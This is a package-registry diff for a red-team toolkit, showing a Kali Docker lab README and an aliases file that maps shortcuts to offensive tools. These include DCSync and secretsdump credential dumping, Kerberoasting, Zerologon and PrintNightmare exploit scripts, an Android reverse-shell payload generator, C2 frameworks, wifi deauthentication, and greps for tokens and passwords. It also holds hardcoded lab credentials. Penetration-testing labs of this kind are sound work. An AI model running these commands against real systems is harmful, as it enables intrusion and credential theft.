rtexit-method 0.1.16 → 0.1.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-exploit-graphql/SKILL.md +311 -0
- package/packaged-assets/.agents/skills/rt-github-recon/SKILL.md +251 -0
- package/packaged-assets/.agents/skills/rt-iac-misconfig/SKILL.md +250 -0
- package/packaged-assets/.agents/skills/rt-wifi-attacks/SKILL.md +273 -0
- package/packaged-assets/docker/Dockerfile +1324 -0
- package/packaged-assets/docker/README.md +107 -0
- package/packaged-assets/docker/aliases.sh +410 -0
- package/packaged-assets/docker/docker-compose.yml +64 -0
- package/packaged-assets/docker/entrypoint.sh +22 -0
- package/packaged-assets/docker/verify-tools.sh +319 -0
- package/tools/installer/commands/install.js +91 -48
- package/tools/installer/lib/asset-manifest.js +1 -0
- package/tools/installer/lib/profiles.js +33 -1
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
# RTExit Docker Lab Setup
|
|
2
|
+
|
|
3
|
+
RTExit skills run inside the **rtexit-kali** container — a pre-built Kali Linux image with 300+ red team tools pre-installed.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## Quick Start (2 steps)
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
# 1. Start the container (first run downloads ~4GB image)
|
|
11
|
+
docker compose up -d
|
|
12
|
+
|
|
13
|
+
# 2. Enter the shell
|
|
14
|
+
docker exec -it rtexit-kali bash
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
That's it. Your project files are mounted at `/workspace` inside the container.
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Requirements
|
|
22
|
+
|
|
23
|
+
- Docker Desktop (Mac/Windows) or Docker Engine (Linux)
|
|
24
|
+
- ~6GB free disk space
|
|
25
|
+
- Internet connection for first image pull
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## Commands
|
|
30
|
+
|
|
31
|
+
| Action | Command |
|
|
32
|
+
|--------|---------|
|
|
33
|
+
| Start container | `docker compose up -d` |
|
|
34
|
+
| Enter shell | `docker exec -it rtexit-kali bash` |
|
|
35
|
+
| Stop container | `docker compose down` |
|
|
36
|
+
| View logs | `docker compose logs -f` |
|
|
37
|
+
| Rebuild image | `docker compose build` |
|
|
38
|
+
| Update image | `docker compose pull && docker compose up -d` |
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## What's Inside
|
|
43
|
+
|
|
44
|
+
- **189 RTExit skills** auto-installed at `/workspace/.agents/skills/`
|
|
45
|
+
- **300+ tools**: nmap, sqlmap, Metasploit, Frida, Impacket, BloodHound, Certipy, CrackMapExec, Burp Suite, etc.
|
|
46
|
+
- **rt-** aliases for every tool — just type `rt-` + Tab to see all
|
|
47
|
+
- Your project mounted at `/workspace` — changes persist on host
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Network Configuration
|
|
52
|
+
|
|
53
|
+
**Linux:** For best performance, use host network mode. Uncomment in docker-compose.yml:
|
|
54
|
+
```yaml
|
|
55
|
+
network_mode: host
|
|
56
|
+
```
|
|
57
|
+
And comment out the `ports:` section.
|
|
58
|
+
|
|
59
|
+
**Mac/Windows:** Use the default port-mapping mode (already configured).
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
## Build Locally (Optional)
|
|
64
|
+
|
|
65
|
+
If you prefer to build the image yourself instead of pulling:
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
# Edit docker-compose.yml:
|
|
69
|
+
# 1. Comment out: image: ghcr.io/exit-code-eg/rtexit-kali:latest
|
|
70
|
+
# 2. Uncomment: build:
|
|
71
|
+
# context: ./docker
|
|
72
|
+
# dockerfile: Dockerfile
|
|
73
|
+
|
|
74
|
+
# Build (takes 30-60 minutes)
|
|
75
|
+
docker compose build
|
|
76
|
+
|
|
77
|
+
# Start
|
|
78
|
+
docker compose up -d
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## Verify Tools
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
docker exec rtexit-kali bash -c "rt-verify"
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## Troubleshooting
|
|
92
|
+
|
|
93
|
+
**Container exits immediately:**
|
|
94
|
+
```bash
|
|
95
|
+
docker compose logs rtexit-kali
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
**Port already in use:**
|
|
99
|
+
Edit `docker-compose.yml` and change the conflicting port (e.g., `8081:8080`).
|
|
100
|
+
|
|
101
|
+
**Permission denied on files:**
|
|
102
|
+
```bash
|
|
103
|
+
docker exec rtexit-kali bash -c "chown -R root:root /workspace"
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
**Image pull fails (no GHCR access):**
|
|
107
|
+
Build locally — see "Build Locally" section above.
|
|
@@ -0,0 +1,410 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# RTExit — Aliases & Environment
|
|
3
|
+
# Auto-loaded on every shell session
|
|
4
|
+
|
|
5
|
+
# ── Colors ────────────────────────────────────────
|
|
6
|
+
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
|
|
7
|
+
BLUE='\033[0;34m'; CYAN='\033[0;36m'; NC='\033[0m'
|
|
8
|
+
|
|
9
|
+
# ── Banner ────────────────────────────────────────
|
|
10
|
+
echo -e "${RED}"
|
|
11
|
+
echo " ██████╗ ████████╗███████╗██╗ ██╗██╗████████╗"
|
|
12
|
+
echo " ██╔══██╗╚══██╔══╝██╔════╝╚██╗██╔╝██║╚══██╔══╝"
|
|
13
|
+
echo " ██████╔╝ ██║ █████╗ ╚███╔╝ ██║ ██║ "
|
|
14
|
+
echo " ██╔══██╗ ██║ ██╔══╝ ██╔██╗ ██║ ██║ "
|
|
15
|
+
echo " ██║ ██║ ██║ ███████╗██╔╝ ██╗██║ ██║ "
|
|
16
|
+
echo " ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ "
|
|
17
|
+
echo -e "${NC} Red Team Exit Framework v3.0 — Kali Environment"
|
|
18
|
+
echo -e " ${CYAN}189 Skills | 300+ Tools | 16 Lab Targets${NC}"
|
|
19
|
+
echo ""
|
|
20
|
+
|
|
21
|
+
# ═══════════════════════════════════════════════════
|
|
22
|
+
# PATHS & ENVIRONMENT
|
|
23
|
+
# ═══════════════════════════════════════════════════
|
|
24
|
+
export PATH="$PATH:/root/go/bin:/usr/local/bin:/opt/rtexit/scripts"
|
|
25
|
+
|
|
26
|
+
# SecLists wordlists
|
|
27
|
+
export SECLISTS='/opt/SecLists'
|
|
28
|
+
export WORDLIST_WEB="$SECLISTS/Discovery/Web-Content/directory-list-2.3-medium.txt"
|
|
29
|
+
export WORDLIST_BIG="$SECLISTS/Discovery/Web-Content/big.txt"
|
|
30
|
+
export WORDLIST_PARAMS="$SECLISTS/Discovery/Web-Content/burp-parameter-names.txt"
|
|
31
|
+
export WORDLIST_PASSWORDS="$SECLISTS/Passwords/Leaked-Databases/rockyou.txt"
|
|
32
|
+
export WORDLIST_USERNAMES="$SECLISTS/Usernames/Names/names.txt"
|
|
33
|
+
export WORDLIST_SUBDOMAINS="$SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt"
|
|
34
|
+
export WORDLIST_SQLI="$SECLISTS/Fuzzing/SQLi/Generic-SQLi.txt"
|
|
35
|
+
export WORDLIST_LFI="$SECLISTS/Fuzzing/LFI/LFI-Jhaddix.txt"
|
|
36
|
+
|
|
37
|
+
# ═══════════════════════════════════════════════════
|
|
38
|
+
# CORE
|
|
39
|
+
# ═══════════════════════════════════════════════════
|
|
40
|
+
alias rt-help='cat /opt/rtexit/HELP.txt 2>/dev/null || echo "Run rt-verify to check tools"'
|
|
41
|
+
alias rt-verify='/opt/rtexit/verify-tools.sh'
|
|
42
|
+
alias rt-update='cd /opt/rtexit && git pull 2>/dev/null; nuclei -update-templates 2>/dev/null'
|
|
43
|
+
alias rt-status='echo "Lab: docker compose ps | Tools: rt-verify | Skills: ls /opt/rtexit/skills/"'
|
|
44
|
+
|
|
45
|
+
# ═══════════════════════════════════════════════════
|
|
46
|
+
# ENGAGEMENT MANAGEMENT
|
|
47
|
+
# ═══════════════════════════════════════════════════
|
|
48
|
+
alias rt-init='bash /opt/rtexit/scripts/rt-init-engagement.sh'
|
|
49
|
+
alias rt-report='bash /opt/rtexit/scripts/rt-report.sh'
|
|
50
|
+
|
|
51
|
+
# ═══════════════════════════════════════════════════
|
|
52
|
+
# RECON & OSINT
|
|
53
|
+
# ═══════════════════════════════════════════════════
|
|
54
|
+
alias rt-recon='bash /opt/rtexit/scripts/rt-recon.sh'
|
|
55
|
+
alias rt-osint='bash /opt/rtexit/scripts/rt-osint.sh'
|
|
56
|
+
alias rt-ports='nmap -sV -sC -A -p-'
|
|
57
|
+
alias rt-ports-fast='masscan --rate 100000 -p 0-65535'
|
|
58
|
+
alias rt-subdomain='subfinder -d'
|
|
59
|
+
alias rt-alive='httpx -silent -status-code'
|
|
60
|
+
alias rt-tech='whatweb'
|
|
61
|
+
alias rt-dns='dnsrecon -d'
|
|
62
|
+
alias rt-dns-enum='dnsenum'
|
|
63
|
+
alias rt-fierce='fierce --domain'
|
|
64
|
+
alias rt-nbtscan='nbtscan'
|
|
65
|
+
|
|
66
|
+
# OSINT specialized
|
|
67
|
+
alias rt-breach='h8mail -t'
|
|
68
|
+
alias rt-maigret='maigret'
|
|
69
|
+
alias rt-holehe='holehe'
|
|
70
|
+
alias rt-ghunt='python3 -m ghunt'
|
|
71
|
+
alias rt-crosslinked='python3 /opt/CrossLinked/crosslinked.py 2>/dev/null'
|
|
72
|
+
alias rt-spiderfoot='python3 /opt/spiderfoot/sf.py 2>/dev/null || spiderfoot'
|
|
73
|
+
|
|
74
|
+
# ═══════════════════════════════════════════════════
|
|
75
|
+
# WEB APPLICATION
|
|
76
|
+
# ═══════════════════════════════════════════════════
|
|
77
|
+
alias rt-web='bash /opt/rtexit/scripts/rt-web-full-scan.sh'
|
|
78
|
+
alias rt-scan='nuclei -t /opt/nuclei-templates'
|
|
79
|
+
alias rt-fuzz='ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u'
|
|
80
|
+
alias rt-sqli='sqlmap --level=5 --risk=3 --batch'
|
|
81
|
+
alias rt-ghauri='ghauri'
|
|
82
|
+
alias rt-xss='dalfox url'
|
|
83
|
+
alias rt-params='arjun -u'
|
|
84
|
+
alias rt-x8='x8'
|
|
85
|
+
alias rt-smuggle='python3 /opt/smuggler/smuggler.py -u'
|
|
86
|
+
alias rt-jwt='jwt_tool'
|
|
87
|
+
alias rt-graphw00f='python3 -m graphw00f'
|
|
88
|
+
alias rt-corscanner='python3 /opt/CORScanner/cors_scan.py 2>/dev/null'
|
|
89
|
+
alias rt-oob='interactsh-client -v'
|
|
90
|
+
alias rt-oob-server='interactsh-client -server http://192.168.200.90:1281'
|
|
91
|
+
alias rt-nikto='nikto -h'
|
|
92
|
+
alias rt-wpscan='wpscan --url'
|
|
93
|
+
|
|
94
|
+
# ═══════════════════════════════════════════════════
|
|
95
|
+
# ACTIVE DIRECTORY
|
|
96
|
+
# ═══════════════════════════════════════════════════
|
|
97
|
+
alias rt-ad='bash /opt/rtexit/scripts/rt-ad-full.sh'
|
|
98
|
+
alias rt-bloodhound='bloodhound-python'
|
|
99
|
+
alias rt-certipy='certipy'
|
|
100
|
+
alias rt-kerberoast='impacket-GetUserSPNs'
|
|
101
|
+
alias rt-asrep='impacket-GetNPUsers'
|
|
102
|
+
alias rt-secretsdump='impacket-secretsdump'
|
|
103
|
+
alias rt-dcsync='impacket-secretsdump -just-dc'
|
|
104
|
+
alias rt-psexec='impacket-psexec'
|
|
105
|
+
alias rt-smbexec='impacket-smbexec'
|
|
106
|
+
alias rt-wmiexec='impacket-wmiexec'
|
|
107
|
+
alias rt-winrm='evil-winrm -i'
|
|
108
|
+
alias rt-smbmap='smbmap -H'
|
|
109
|
+
alias rt-enum4linux='enum4linux-ng'
|
|
110
|
+
alias rt-coercer='python3 -m coercer'
|
|
111
|
+
alias rt-mitm6='mitm6'
|
|
112
|
+
alias rt-donpapi='python3 /opt/DonPAPI/DonPAPI.py 2>/dev/null'
|
|
113
|
+
alias rt-nopac='python3 /opt/noPac/noPac.py 2>/dev/null'
|
|
114
|
+
alias rt-pyrdp='python3 -m pyrdp.bin.mitm'
|
|
115
|
+
alias rt-responder='responder -I eth0 -dwv'
|
|
116
|
+
|
|
117
|
+
# ═══════════════════════════════════════════════════
|
|
118
|
+
# CLOUD
|
|
119
|
+
# ═══════════════════════════════════════════════════
|
|
120
|
+
alias rt-aws='bash /opt/rtexit/scripts/rt-aws-audit.sh'
|
|
121
|
+
alias rt-pacu='python3 /opt/pacu/cli.py'
|
|
122
|
+
alias rt-scout='python3 -m scoutsuite'
|
|
123
|
+
alias rt-roadtools='roadrecon'
|
|
124
|
+
alias rt-roadrecon='roadrecon gather && roadrecon gui'
|
|
125
|
+
alias rt-pmapper='pmapper'
|
|
126
|
+
alias rt-prowler='prowler'
|
|
127
|
+
alias rt-stratus='stratus'
|
|
128
|
+
alias rt-teamfiltration='teamfiltration'
|
|
129
|
+
alias rt-cloudlist='cloudlist'
|
|
130
|
+
|
|
131
|
+
# ═══════════════════════════════════════════════════
|
|
132
|
+
# PASSWORD & HASHES
|
|
133
|
+
# ═══════════════════════════════════════════════════
|
|
134
|
+
alias rt-spray='bash /opt/rtexit/scripts/rt-password-spray.sh'
|
|
135
|
+
alias rt-crack='hashcat -a 0'
|
|
136
|
+
alias rt-ntlm='hashcat -a 0 -m 1000'
|
|
137
|
+
alias rt-ntlmv2='hashcat -a 0 -m 5600'
|
|
138
|
+
alias rt-kerberoast-crack='hashcat -a 0 -m 13100'
|
|
139
|
+
alias rt-wordlist='cewl -d 3 -m 6'
|
|
140
|
+
alias rt-patator='patator'
|
|
141
|
+
alias rt-onesixtyone='onesixtyone'
|
|
142
|
+
|
|
143
|
+
# ═══════════════════════════════════════════════════
|
|
144
|
+
# C2 & POST-EXPLOITATION
|
|
145
|
+
# ═══════════════════════════════════════════════════
|
|
146
|
+
alias rt-msf='msfconsole'
|
|
147
|
+
alias rt-c2='sliver-client'
|
|
148
|
+
alias rt-empire='python3 /opt/Empire/empire 2>/dev/null'
|
|
149
|
+
alias rt-villain='python3 /opt/Villain/Villain.py 2>/dev/null'
|
|
150
|
+
alias rt-poshc2='python3 /opt/PoshC2/poshc2 2>/dev/null'
|
|
151
|
+
alias rt-pivot='chisel'
|
|
152
|
+
alias rt-tunnel='ligolo-proxy'
|
|
153
|
+
alias rt-lsass='pypykatz'
|
|
154
|
+
alias rt-gen-payload='msfvenom'
|
|
155
|
+
alias rt-weevely='weevely'
|
|
156
|
+
|
|
157
|
+
# ═══════════════════════════════════════════════════
|
|
158
|
+
# NETWORK & SNIFFING
|
|
159
|
+
# ═══════════════════════════════════════════════════
|
|
160
|
+
alias rt-mitm='mitmproxy'
|
|
161
|
+
alias rt-arp='arpspoof' # from dsniff package
|
|
162
|
+
alias rt-pcap='tcpdump -i eth0 -w'
|
|
163
|
+
alias rt-analyze='tshark -r'
|
|
164
|
+
alias rt-arpwatch='arpwatch'
|
|
165
|
+
alias rt-netsniff='netsniff-ng'
|
|
166
|
+
alias rt-hping='hping3'
|
|
167
|
+
alias rt-sslstrip='sslstrip'
|
|
168
|
+
|
|
169
|
+
# ═══════════════════════════════════════════════════
|
|
170
|
+
# EXPLOITATION
|
|
171
|
+
# ═══════════════════════════════════════════════════
|
|
172
|
+
alias rt-searchsploit='searchsploit'
|
|
173
|
+
alias rt-beef='beef-xss'
|
|
174
|
+
alias rt-routersploit='python3 /opt/routersploit/rsf.py 2>/dev/null'
|
|
175
|
+
alias rt-gophish='gophish'
|
|
176
|
+
alias rt-evilginx='evilginx3 2>/dev/null || /opt/evilginx3/evilginx3 2>/dev/null'
|
|
177
|
+
|
|
178
|
+
# ═══════════════════════════════════════════════════
|
|
179
|
+
# FORENSICS
|
|
180
|
+
# ═══════════════════════════════════════════════════
|
|
181
|
+
alias rt-foremost='foremost'
|
|
182
|
+
alias rt-dc3dd='dc3dd'
|
|
183
|
+
alias rt-testdisk='testdisk'
|
|
184
|
+
alias rt-bulk='bulk_extractor'
|
|
185
|
+
alias rt-volatility='vol'
|
|
186
|
+
alias rt-vol3='python3 /opt/volatility3/vol.py'
|
|
187
|
+
alias rt-strings='strings'
|
|
188
|
+
alias rt-exif='exiftool'
|
|
189
|
+
alias rt-binwalk='binwalk'
|
|
190
|
+
|
|
191
|
+
# ═══════════════════════════════════════════════════
|
|
192
|
+
# BINARY ANALYSIS & REVERSE ENGINEERING
|
|
193
|
+
# ═══════════════════════════════════════════════════
|
|
194
|
+
alias rt-ghidra='ghidra'
|
|
195
|
+
alias rt-r2='radare2'
|
|
196
|
+
alias rt-gdb='gdb'
|
|
197
|
+
alias rt-jadx='jadx'
|
|
198
|
+
alias rt-apktool='apktool'
|
|
199
|
+
|
|
200
|
+
# ═══════════════════════════════════════════════════
|
|
201
|
+
# STEGANOGRAPHY
|
|
202
|
+
# ═══════════════════════════════════════════════════
|
|
203
|
+
alias rt-steghide='steghide'
|
|
204
|
+
alias rt-zsteg='zsteg'
|
|
205
|
+
alias rt-stegsolve='stegsolve'
|
|
206
|
+
alias rt-exiftool='exiftool'
|
|
207
|
+
|
|
208
|
+
# ═══════════════════════════════════════════════════
|
|
209
|
+
# MOBILE — Core
|
|
210
|
+
# ═══════════════════════════════════════════════════
|
|
211
|
+
alias rt-frida='frida'
|
|
212
|
+
alias rt-adb='adb'
|
|
213
|
+
alias rt-objection='objection'
|
|
214
|
+
alias rt-mobsf='echo "MobSF: docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf"'
|
|
215
|
+
alias rt-apkleaks='apkleaks'
|
|
216
|
+
alias rt-drozer='drozer'
|
|
217
|
+
alias rt-apktool='apktool'
|
|
218
|
+
alias rt-jadx='jadx'
|
|
219
|
+
alias rt-dex2jar='d2j-dex2jar'
|
|
220
|
+
|
|
221
|
+
# ═══════════════════════════════════════════════════
|
|
222
|
+
# MOBILE — Advanced (new skills)
|
|
223
|
+
# ═══════════════════════════════════════════════════
|
|
224
|
+
|
|
225
|
+
# Frida Advanced (rt-frida-advanced)
|
|
226
|
+
alias rt-frida-setup='setup-frida-server'
|
|
227
|
+
alias rt-frida-ps='frida-ps -U'
|
|
228
|
+
alias rt-frida-attach='frida -U -n'
|
|
229
|
+
alias rt-frida-spawn='frida -U -f'
|
|
230
|
+
alias rt-frida-trace='frida-trace -U -n'
|
|
231
|
+
alias rt-frida-mem='frida -U -n'
|
|
232
|
+
|
|
233
|
+
# APK Repackaging (rt-apk-repackaging)
|
|
234
|
+
alias rt-apk-sign='uber-apk-signer -a'
|
|
235
|
+
alias rt-apk-decompile='apktool d'
|
|
236
|
+
alias rt-apk-recompile='apktool b'
|
|
237
|
+
alias rt-apk-secrets='apkleaks -f'
|
|
238
|
+
alias rt-apk-install='adb install -r'
|
|
239
|
+
|
|
240
|
+
# SSL Pinning Bypass (rt-mobile-ssl-pinning)
|
|
241
|
+
alias rt-ssl-bypass='objection -g'
|
|
242
|
+
alias rt-apk-mitm='apk-mitm'
|
|
243
|
+
alias rt-reflutter='reflutter'
|
|
244
|
+
|
|
245
|
+
# Cross-Platform (rt-cross-platform-mobile)
|
|
246
|
+
alias rt-hermes-dec='hermes-dec'
|
|
247
|
+
alias rt-hbctool='hbctool disasm'
|
|
248
|
+
alias rt-doldrums='python3 /opt/doldrums/doldrums.py 2>/dev/null || doldrums'
|
|
249
|
+
alias rt-monodis='monodis'
|
|
250
|
+
alias rt-ilspy='~/.dotnet/tools/ilspycmd 2>/dev/null || echo "ilspycmd: dotnet tool install --global ilspycmd"'
|
|
251
|
+
|
|
252
|
+
# Static Analysis (rt-mobile-static-deep)
|
|
253
|
+
alias rt-mobile-scan='apkleaks -f'
|
|
254
|
+
alias rt-androguard='androguard'
|
|
255
|
+
alias rt-trufflehog='trufflehog filesystem'
|
|
256
|
+
|
|
257
|
+
# Malware / C2 (rt-mobile-malware-c2)
|
|
258
|
+
alias rt-android-payload='msfvenom -p android/meterpreter/reverse_https'
|
|
259
|
+
alias rt-qrcode='python3 -c "import qrcode,sys; qr=qrcode.make(sys.argv[1]); qr.save(\"/tmp/qr.png\"); print(\"Saved: /tmp/qr.png\")"'
|
|
260
|
+
alias rt-fatrat='bash /opt/TheFatRat/fatrat 2>/dev/null || echo "TheFatRat: cd /opt/TheFatRat && bash setup.sh first"'
|
|
261
|
+
|
|
262
|
+
# Android Intents (rt-android-intent-exploitation)
|
|
263
|
+
alias rt-drozer-connect='adb forward tcp:31415 tcp:31415 && drozer console connect'
|
|
264
|
+
alias rt-adb-backup='adb backup -noencrypt -noapk'
|
|
265
|
+
alias rt-logcat='adb logcat | grep -iE "password|token|secret|key|auth"'
|
|
266
|
+
alias rt-content-query='adb shell content query --uri'
|
|
267
|
+
alias rt-am-start='adb shell am start -n'
|
|
268
|
+
alias rt-am-broadcast='adb shell am broadcast -a'
|
|
269
|
+
|
|
270
|
+
# ADB Shortcuts
|
|
271
|
+
alias rt-adb-shell='adb shell'
|
|
272
|
+
alias rt-adb-root='adb root && adb shell'
|
|
273
|
+
alias rt-adb-pull-dbs='adb pull /data/data'
|
|
274
|
+
alias rt-adb-prefs='adb pull /data/data && find . -name "*.xml" | xargs grep -l "token\|pass\|key" 2>/dev/null'
|
|
275
|
+
alias rt-adb-proxy='adb shell settings put global http_proxy'
|
|
276
|
+
alias rt-adb-proxy-clear='adb shell settings put global http_proxy :0'
|
|
277
|
+
|
|
278
|
+
alias rt-peirates='peirates'
|
|
279
|
+
alias rt-scarecrow='ScareCrow'
|
|
280
|
+
|
|
281
|
+
# ═══════════════════════════════════════════════════
|
|
282
|
+
# WEB — Advanced (gap analysis v3)
|
|
283
|
+
# ═══════════════════════════════════════════════════
|
|
284
|
+
alias rt-semgrep='semgrep'
|
|
285
|
+
alias rt-tplmap='python3 /opt/tplmap/tplmap.py 2>/dev/null || tplmap'
|
|
286
|
+
alias rt-xxeinjector='ruby /opt/XXEinjector/XXEinjector.rb 2>/dev/null'
|
|
287
|
+
alias rt-graphql-cop='graphql-cop 2>/dev/null || python3 /opt/graphql-cop/graphql-cop.py'
|
|
288
|
+
alias rt-inql='inql'
|
|
289
|
+
alias rt-graphw00f='python3 -m graphw00f'
|
|
290
|
+
|
|
291
|
+
# ═══════════════════════════════════════════════════
|
|
292
|
+
# GITHUB / SOURCE CODE RECON (rt-github-recon)
|
|
293
|
+
# ═══════════════════════════════════════════════════
|
|
294
|
+
alias rt-git-dump='git-dumper'
|
|
295
|
+
alias rt-trufflehog-github='trufflehog github --org'
|
|
296
|
+
alias rt-trufflehog-git='trufflehog git'
|
|
297
|
+
alias rt-gitleaks-scan='gitleaks detect --source'
|
|
298
|
+
alias rt-github-search='python3 -c "import sys,subprocess; subprocess.run([\"curl\",\"-s\",\"https://api.github.com/search/code?q=\"+sys.argv[1],\"-H\",\"Authorization: token \"+sys.argv[2]])" 2>/dev/null'
|
|
299
|
+
|
|
300
|
+
# ═══════════════════════════════════════════════════
|
|
301
|
+
# WIFI ATTACKS (rt-wifi-attacks)
|
|
302
|
+
# ═══════════════════════════════════════════════════
|
|
303
|
+
alias rt-wifi='wifite'
|
|
304
|
+
alias rt-wifi-monitor='airmon-ng start'
|
|
305
|
+
alias rt-wifi-scan='airodump-ng'
|
|
306
|
+
alias rt-wifi-capture='airodump-ng --bssid'
|
|
307
|
+
alias rt-wifi-deauth='aireplay-ng --deauth 10 -a'
|
|
308
|
+
alias rt-wifi-pmkid='hcxdumptool -i wlan0mon -o /tmp/pmkid.pcapng'
|
|
309
|
+
alias rt-wifi-crack='hashcat -a 0 -m 22000'
|
|
310
|
+
alias rt-wifi-evil='hostapd-wpe'
|
|
311
|
+
alias rt-hcxtools='hcxpcapngtool'
|
|
312
|
+
|
|
313
|
+
# ═══════════════════════════════════════════════════
|
|
314
|
+
# IaC & DEVSECOPS (rt-iac-misconfig)
|
|
315
|
+
# ═══════════════════════════════════════════════════
|
|
316
|
+
alias rt-checkov='checkov -d'
|
|
317
|
+
alias rt-trivy-iac='trivy config'
|
|
318
|
+
alias rt-trivy-image='trivy image'
|
|
319
|
+
alias rt-syft='syft'
|
|
320
|
+
alias rt-grype='grype'
|
|
321
|
+
alias rt-steampipe='steampipe'
|
|
322
|
+
|
|
323
|
+
# ═══════════════════════════════════════════════════
|
|
324
|
+
# CLOUD — Advanced (gap analysis v3)
|
|
325
|
+
# ═══════════════════════════════════════════════════
|
|
326
|
+
alias rt-iam-enum='python3 /opt/enumerate-iam/enumerate-iam.py 2>/dev/null || enumerate-iam'
|
|
327
|
+
alias rt-awswhoami='awswhoami'
|
|
328
|
+
alias rt-cloud-enum='python3 /opt/cloud_enum/cloud_enum.py'
|
|
329
|
+
alias rt-s3scan='s3scanner scan --bucket'
|
|
330
|
+
alias rt-azcopy='azcopy'
|
|
331
|
+
alias rt-checkov-tf='checkov -d . --framework terraform'
|
|
332
|
+
|
|
333
|
+
# ═══════════════════════════════════════════════════
|
|
334
|
+
# KUBERNETES — Advanced
|
|
335
|
+
# ═══════════════════════════════════════════════════
|
|
336
|
+
alias rt-kubectx='kubectx'
|
|
337
|
+
alias rt-kubens='kubens'
|
|
338
|
+
alias rt-kube-bench='kube-bench'
|
|
339
|
+
alias rt-helm='helm'
|
|
340
|
+
alias rt-kubesploit='kubesploit 2>/dev/null'
|
|
341
|
+
|
|
342
|
+
# ═══════════════════════════════════════════════════
|
|
343
|
+
# ACTIVE DIRECTORY — Advanced (gap analysis v3)
|
|
344
|
+
# ═══════════════════════════════════════════════════
|
|
345
|
+
alias rt-zerologon='python3 /opt/CVE-2020-1472/cve-2020-1472-exploit.py 2>/dev/null'
|
|
346
|
+
alias rt-printnightmare='python3 /opt/PrintNightmare/CVE-2021-1675.py 2>/dev/null'
|
|
347
|
+
alias rt-krbrelayx='python3 /opt/krbrelayx/krbrelayx.py 2>/dev/null'
|
|
348
|
+
alias rt-adfspooof='python3 /opt/ADFSpoof/ADFSpoof.py 2>/dev/null'
|
|
349
|
+
alias rt-krbrelayup='python3 /opt/KrbRelayUp/KrbRelayUp.py 2>/dev/null'
|
|
350
|
+
alias rt-syswhispers='python3 /opt/SysWhispers3/SysWhispers.py 2>/dev/null'
|
|
351
|
+
alias rt-windapsearch='windapsearch 2>/dev/null || python3 /opt/windapsearch/windapsearch.py'
|
|
352
|
+
alias rt-ldeep='ldeep'
|
|
353
|
+
alias rt-deathstar='python3 /opt/DeathStar/DeathStar.py 2>/dev/null || deathstar'
|
|
354
|
+
alias rt-ghostpack='ls /opt/GhostPack/ && cat /opt/GhostPack/README.txt'
|
|
355
|
+
|
|
356
|
+
# ═══════════════════════════════════════════════════
|
|
357
|
+
# BINARY ANALYSIS — Advanced
|
|
358
|
+
# ═══════════════════════════════════════════════════
|
|
359
|
+
alias rt-ropgadget='ROPgadget --binary'
|
|
360
|
+
alias rt-ropper='ropper -f'
|
|
361
|
+
alias rt-angr='python3 -c "import angr; print(angr.__version__)"'
|
|
362
|
+
alias rt-yara='yara'
|
|
363
|
+
alias rt-yara-rules='ls /opt/yara-rules/'
|
|
364
|
+
|
|
365
|
+
# ═══════════════════════════════════════════════════
|
|
366
|
+
# SUPPLY CHAIN
|
|
367
|
+
# ═══════════════════════════════════════════════════
|
|
368
|
+
alias rt-sbom='syft'
|
|
369
|
+
alias rt-vuln-scan='grype'
|
|
370
|
+
alias rt-dep-check='dependency-check'
|
|
371
|
+
|
|
372
|
+
# ═══════════════════════════════════════════════════
|
|
373
|
+
# CONTAINER & KUBERNETES
|
|
374
|
+
# ═══════════════════════════════════════════════════
|
|
375
|
+
alias rt-cdk='cdk'
|
|
376
|
+
alias rt-deepce='deepce'
|
|
377
|
+
alias rt-botb='botb'
|
|
378
|
+
alias rt-trivy='trivy'
|
|
379
|
+
alias rt-dive='dive'
|
|
380
|
+
|
|
381
|
+
# ═══════════════════════════════════════════════════
|
|
382
|
+
# PAYLOAD GENERATION & EVASION
|
|
383
|
+
# ═══════════════════════════════════════════════════
|
|
384
|
+
alias rt-veil='python3 /opt/Veil/Veil.py 2>/dev/null'
|
|
385
|
+
alias rt-macropack='python3 /opt/macro_pack/macro_pack.py 2>/dev/null'
|
|
386
|
+
alias rt-donut='godonuts'
|
|
387
|
+
|
|
388
|
+
# ═══════════════════════════════════════════════════
|
|
389
|
+
# PURPLE TEAM
|
|
390
|
+
# ═══════════════════════════════════════════════════
|
|
391
|
+
alias rt-caldera='echo "Caldera: http://192.168.200.54:8888 | admin:admin"'
|
|
392
|
+
alias rt-atomic='ls /opt/atomic-red-team/atomics/ 2>/dev/null'
|
|
393
|
+
|
|
394
|
+
# ═══════════════════════════════════════════════════
|
|
395
|
+
# LAB SHORTCUTS
|
|
396
|
+
# ═══════════════════════════════════════════════════
|
|
397
|
+
alias rt-mythic='echo "Mythic C2: https://192.168.200.70:7443 | mythic_admin:mythic_password"'
|
|
398
|
+
alias rt-ghostwriter='echo "Ghostwriter: http://192.168.200.80:8008 | admin:spectre"'
|
|
399
|
+
|
|
400
|
+
# ═══════════════════════════════════════════════════
|
|
401
|
+
# UTILITY
|
|
402
|
+
# ═══════════════════════════════════════════════════
|
|
403
|
+
